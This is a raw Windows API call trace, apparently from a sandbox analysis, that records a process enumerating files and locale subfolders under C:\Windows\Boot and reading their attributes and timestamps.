	[0086.373] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\pt-PT\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\pt-pt\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12409b88 | out: lpFileInformation=0x12409b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b7cec3, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe831344a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7830996c, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15e50)) returned 1
	[0086.373] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\pt-PT\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\pt-pt\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12409bd8 | out: lpFileInformation=0x12409bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8528760, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe8c00616, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8c00616, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14200)) returned 1
	[0086.375] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\ru-RU" (normalized: "c:\\windows\\boot\\efi\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0x12409c28 | out: lpFileInformation=0x12409c28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.375] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\ru-RU" (normalized: "c:\\windows\\boot\\efi\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.375] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\ru-RU\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.376] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.376] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\ru-RU\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\ru-ru\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12409d18 | out: lpFileInformation=0x12409d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2983f98, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe311a51f, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7832fac8, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1
	[0086.376] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\ru-RU\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\ru-ru\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12409d68 | out: lpFileInformation=0x12409d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7967bad, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7967bad, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14400)) returned 1
	[0086.376] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\sv-SE" (normalized: "c:\\windows\\boot\\efi\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0x12409db8 | out: lpFileInformation=0x12409db8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe125ee6, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe125ee6, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.377] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\sv-SE" (normalized: "c:\\windows\\boot\\efi\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.377] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\sv-SE\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe125ee6, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe125ee6, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.377] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.377] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\sv-SE\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\sv-se\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12409ea8 | out: lpFileInformation=0x12409ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4555e87, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4cec40e, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x784142f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1
	[0086.377] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\sv-SE\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\sv-se\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12409ef8 | out: lpFileInformation=0x12409ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2fe9a37, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe370dba7, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe370dba7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13a00)) returned 1
	[0086.380] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\tr-TR" (normalized: "c:\\windows\\boot\\efi\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0x12409f48 | out: lpFileInformation=0x12409f48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.380] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\tr-TR" (normalized: "c:\\windows\\boot\\efi\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.380] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\tr-TR\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.380] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.380] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\tr-TR\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\tr-tr\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12798058 | out: lpFileInformation=0x12798058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8def7cf, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94c7685, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x784142f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15450)) returned 1
	[0086.381] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\tr-TR\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\tr-tr\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x127980a8 | out: lpFileInformation=0x127980a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6389346, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6b6bb87, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6b6bb87, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13800)) returned 1
	[0086.381] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\zh-CN" (normalized: "c:\\windows\\boot\\efi\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0x127980f8 | out: lpFileInformation=0x127980f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.382] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\zh-CN" (normalized: "c:\\windows\\boot\\efi\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.382] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\zh-CN\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.382] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.382] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\zh-CN\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\zh-cn\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x127981e8 | out: lpFileInformation=0x127981e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe30a8108, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe37cc278, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x78297558, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x11440)) returned 1
	[0086.382] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\zh-CN\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\zh-cn\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12798238 | out: lpFileInformation=0x12798238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9f7d8ad, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea6c7b7a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea6c7b7a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800)) returned 1
	[0086.383] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\zh-HK" (normalized: "c:\\windows\\boot\\efi\\zh-hk"), fInfoLevelId=0x0, lpFileInformation=0x12798288 | out: lpFileInformation=0x12798288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.383] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\zh-HK" (normalized: "c:\\windows\\boot\\efi\\zh-hk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.383] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\zh-HK\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.384] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.384] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\zh-HK\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\zh-hk\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12798378 | out: lpFileInformation=0x12798378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe93bccfa, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9b793de, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7856af2c, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x11250)) returned 1
	[0086.384] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\zh-HK\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\zh-hk\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x127983c8 | out: lpFileInformation=0x127983c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1d50fce, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe257fac9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe257fac9, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf600)) returned 1
	[0086.384] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\zh-TW" (normalized: "c:\\windows\\boot\\efi\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0x12798418 | out: lpFileInformation=0x12798418*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.385] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\zh-TW" (normalized: "c:\\windows\\boot\\efi\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.385] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\zh-TW\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.385] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.385] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\zh-TW\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\zh-tw\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12798508 | out: lpFileInformation=0x12798508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe674155b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6eb1985, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x784d29bc, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1
	[0086.385] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\zh-TW\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\zh-tw\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12798558 | out: lpFileInformation=0x12798558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe452fd2a, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4ca0154, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4ca0154, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf600)) returned 1
	[0086.386] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\Fonts" (normalized: "c:\\windows\\boot\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x127985a8 | out: lpFileInformation=0x127985a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1be44e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1be44e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.386] CreateFileW (lpFileName="C:\\Windows\\Boot\\Fonts" (normalized: "c:\\windows\\boot\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.386] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\Fonts\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1be44e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1be44e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.386] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.386] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\windows\\boot\\fonts\\chs_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x12798788 | out: lpFileInformation=0x12798788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x645f529f, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x645f529f, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00)) returned 1
	[0086.386] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\windows\\boot\\fonts\\cht_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x127987d8 | out: lpFileInformation=0x127987d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf460d3a5, ftCreationTime.dwHighDateTime=0x1ca03f6, ftLastAccessTime.dwLowDateTime=0xf460d3a5, ftLastAccessTime.dwHighDateTime=0x1ca03f6, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4)) returned 1
	[0086.386] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\windows\\boot\\fonts\\jpn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x12798828 | out: lpFileInformation=0x12798828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4894ad2, ftCreationTime.dwHighDateTime=0x1ca03f6, ftLastAccessTime.dwLowDateTime=0xf4894ad2, ftLastAccessTime.dwHighDateTime=0x1ca03f6, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4)) returned 1
	[0086.387] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\windows\\boot\\fonts\\kor_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x12798878 | out: lpFileInformation=0x12798878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4a11874, ftCreationTime.dwHighDateTime=0x1ca03f6, ftLastAccessTime.dwLowDateTime=0xf4a11874, ftLastAccessTime.dwHighDateTime=0x1ca03f6, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20)) returned 1
	[0086.387] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\windows\\boot\\fonts\\wgl4_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x127988c8 | out: lpFileInformation=0x127988c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c72e44, ftCreationTime.dwHighDateTime=0x1ca03f6, ftLastAccessTime.dwLowDateTime=0xf4c72e44, ftLastAccessTime.dwHighDateTime=0x1ca03f6, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c)) returned 1
	[0086.387] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT" (normalized: "c:\\windows\\boot\\pcat"), fInfoLevelId=0x0, lpFileInformation=0x12798918 | out: lpFileInformation=0x12798918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e4fb0c2, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x4e4fb0c2, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.388] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT" (normalized: "c:\\windows\\boot\\pcat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.388] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e4fb0c2, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x4e4fb0c2, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.390] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.390] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\bootmgr" (normalized: "c:\\windows\\boot\\pcat\\bootmgr"), fInfoLevelId=0x0, lpFileInformation=0x12799138 | out: lpFileInformation=0x12799138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a3bb2c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84a3bb2c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a)) returned 1
	[0086.391] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\PCAT\\cs-CZ" (normalized: "c:\\windows\\boot\\pcat\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0x12799188 | out: lpFileInformation=0x12799188*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1be44e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1be44e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1be44e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.391] CreateFileW (lpFileName="C:\\Windows\\Boot\\PCAT\\cs-CZ" (normalized: "c:\\windows\\boot\\pcat\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
